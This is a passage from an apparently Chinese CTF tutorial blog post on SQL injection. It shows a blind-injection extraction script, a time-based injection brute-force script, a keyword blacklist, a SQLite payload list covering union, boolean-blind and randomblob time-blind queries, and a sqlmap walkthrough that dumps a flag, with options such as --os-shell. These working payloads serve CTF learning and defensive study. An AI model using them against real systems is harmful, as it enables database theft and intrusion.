sql = f"UPDATE flag SET aid = CASE WHEN ascii(substr({Field},{i},1))={j} THEN 2 ELSE aid END"
send_sql_request(sql)
sql = "insert into flag(id,data,aid) values('1','1',1)"
send_sql_request(sql)
if get_row(False)==2:
data=data+chr(j)
print(f"\n{Field}为{data}")
reload()
break
else:
if j == 126:
data = data + '?'
print(f"|{chr(j)}",end='')
initialization()
#data_length=check_length('data')
#id_length=check_length('id')
#reload()
#check_chr('data',data)
官方wp
可以看到部分关键词已经被禁用,只能执行一句sql语句
其中select被禁用,无法通过常规查询来查询flag的值
首先使用show tables
查询所有表,可以看到flag表
使用show columns from flag
查询flag表的所有字段
可以看到id和data两个字段,猜测flag在data字段
接下来是基于时间的sql注入过程
使用语句delete from flag where data like 'f%' and sleep(5)
来进行注入,如果like成功匹配到,and字段会对后面的语句进行处理,如果like匹配不到(返回false)and后语句则不会进行处理,因为sleep()函数返回值为null,因此整个where的判断永假
最后编写脚本来进行查询
import requests
import string
sqlstr = string.ascii_lowercase + string.digits + '-' + "{}"
url = "http://your.website/?sql=delete%20from%20flag%20where%20data%20like%20%27"
end="%25%27%20and%20sleep(5)"
flag=''
for i in range(1, 100):
for c in sqlstr:
payload = url +flag+ c + end
try:
r = requests.get(payload,timeout=4)
except:
print(flag+c)
flag+=c
break
2、
黑名单
if(preg_match('/and|or| |\n|--|sleep|=|ascii/i',$str)){
die('不准用!');
}
四、sqlite注入
注入方式和mysql的区别不大,少了一些我们经常使用的函数,mid、left,sleep,甚至if函数都没有.没有 information_schema
闭合方式与sql有区别:分号; – /*
因为注入方式和mysql注入差不多,就只简单列一下payload
#查询字段数
-1' union select 1,2,3;
1' order by 3;
#查版本
0' union select 1,2,sqlite_version();
#查询表名和列名 通过查询 sqlite_master 表来实现:
-1' union select 1,2,(select sql from sqlite_master limit 0,1),4;
#当存在多个表时,我们可以用 limit 关键字逐行读取,也可以使用 group_concat 关键字进行聚合:
-1' union select 1,2,(select group_concat(sql) from sqlite_master),4;
0' union select 1,2,tbl_name FROM sqlite_master limit 2 offset 1 --
#查询数据
-1' union select 1,2,(select group_concat(username,password) from table_name),4;
布尔盲注
#根据查询正确或错误时的页面回显来判断数据内容:
-1' or length(sqlite_version())=5/*
-1' or length(sqlite_version())=6/*
-1' or substr((select group_concat(sql) from sqlite_master),1,1)>'a'/*
-1' or substr((select group_concat(sql) from sqlite_master),1,1)<'a'/*
-1' or substr((select group_concat(sql) from sqlite_master),2,1)>'b'/*
-1' or substr((select group_concat(sql) from sqlite_master),2,1)<'b'/*
-1' or substr((select group_concat(sql) from sqlite_master),3,1)>'C'/*
-1' or substr((select group_concat(sql) from sqlite_master),3,1)<'C'/*
......
时间盲注
#QLite 没有 sleep() 函数,但是有个 randomblob(N) 函数,其作用是返回一个 N 字节长的包含伪随机字节的 BLOG。 N 是正整数。可以用它来制造延时。
并且 SQLite 没有 if,所以我们需要使用 case...when 来构造查询语句:
-1' or (case when(substr(sqlite_version(),1,1)='3') then randomblob(1000000000) else 0 end)/*
五、Sqlmap
以攻防世界”inget“例题为演示:
先用sqlmap大概检查一下
sqlmap -u "http://61.147.171.105:54285/?id=1"
尝试列出所以数据库
sqlmap -u "http://61.147.171.105:54285/?id=1" --dbs
可以看到有一个名为cyber的数据库,我们指定列出它的表
列出指定数据库的表
sqlmap -u "http://61.147.171.105:54285/?id=1" -D cyber --tables
可以看到这个数据库里只有一个表,且和数据库同名
我们继续列出指定表的字段
sqlmap -u "http://61.147.171.105:54285/?id=1" -D cyber -T cyber --columns
尝试获取指定字段中的数据
sqlmap -u "http://61.147.171.105:54285/?id=1" -D cyber -T cyber -C id,pw --dump
拿到flag
cyberpeace{818e277716501adc71a98b501c4d7a99}
常见参数
-h 输出参数说明
-hh 输出详细的参数说明
-v 输出级别(0~6,默认1)
-u url 指定url
--data=DATA 该参数指定的数据会被作为POST数据提交
-r file.txt 常用于POST注入或表单提交时注入
-p / --skip 指定/跳过测试参数
--cookie 设置cookie
--force-ssl 强制使用SSL
--threads 指定线程并发数
--prefix 指定前缀
--suffix 指定后缀
--level 检测级别(1~5,默认1)
--risk 风险等级(1~4,默认1)
--all 列举所有可访问的数据(不推荐)
--banner 列举数据库系统的信息等
--current-user 输出当前用户
--current-db 输出当前所在数据库
--hostname 输出服务器主机名
--is-dba 检测当前用户是否为管理员
--users 输出数据库系统的所有用户
--dbs 输出数据库系统的所有数据库
-D DB 指定数据库
--tables 在-D情况下输出库中所有表名
-T table 在-D情况下指定数据表
--columns 在-D -T情况下输出表中所有列名
-C column 在-D -T情况下输出某列数据的值
--dump 拉取数据存放到本地
--dump-all 拉取所有可访问数据存放到本地
--count 输出数据条目数量
--search 搜索数据库名、表明、列名,需要与-D -T或-C 联用
--sql-query 执行任意的SQL语句
--sql-shell 使用交互式SQL语句执行环境
--flie-read 读取文件
--file-write 上传文件(指定本地路径)
--file-dest 上传文件(指定目标机器路径)
--os-cmd 执行任意系统命令
--os-shell 使用交互式shell执行命令
--batch 所有要求输入都选取默认值
--wizard 初学者向导
比如指定盲注,GET参数为id:sqlmap -u "http://example.com/page.php?id=1" --technique=BEUST
POST注入
使用burp抓包,右键保存成txt文件
使用指令:sqlmap.py -r [txt路径] -p [参数]
标签:--,SQL,sql,table,注入,id,select,schema From: https://www.cnblogs.com/ctfer001/p/18585046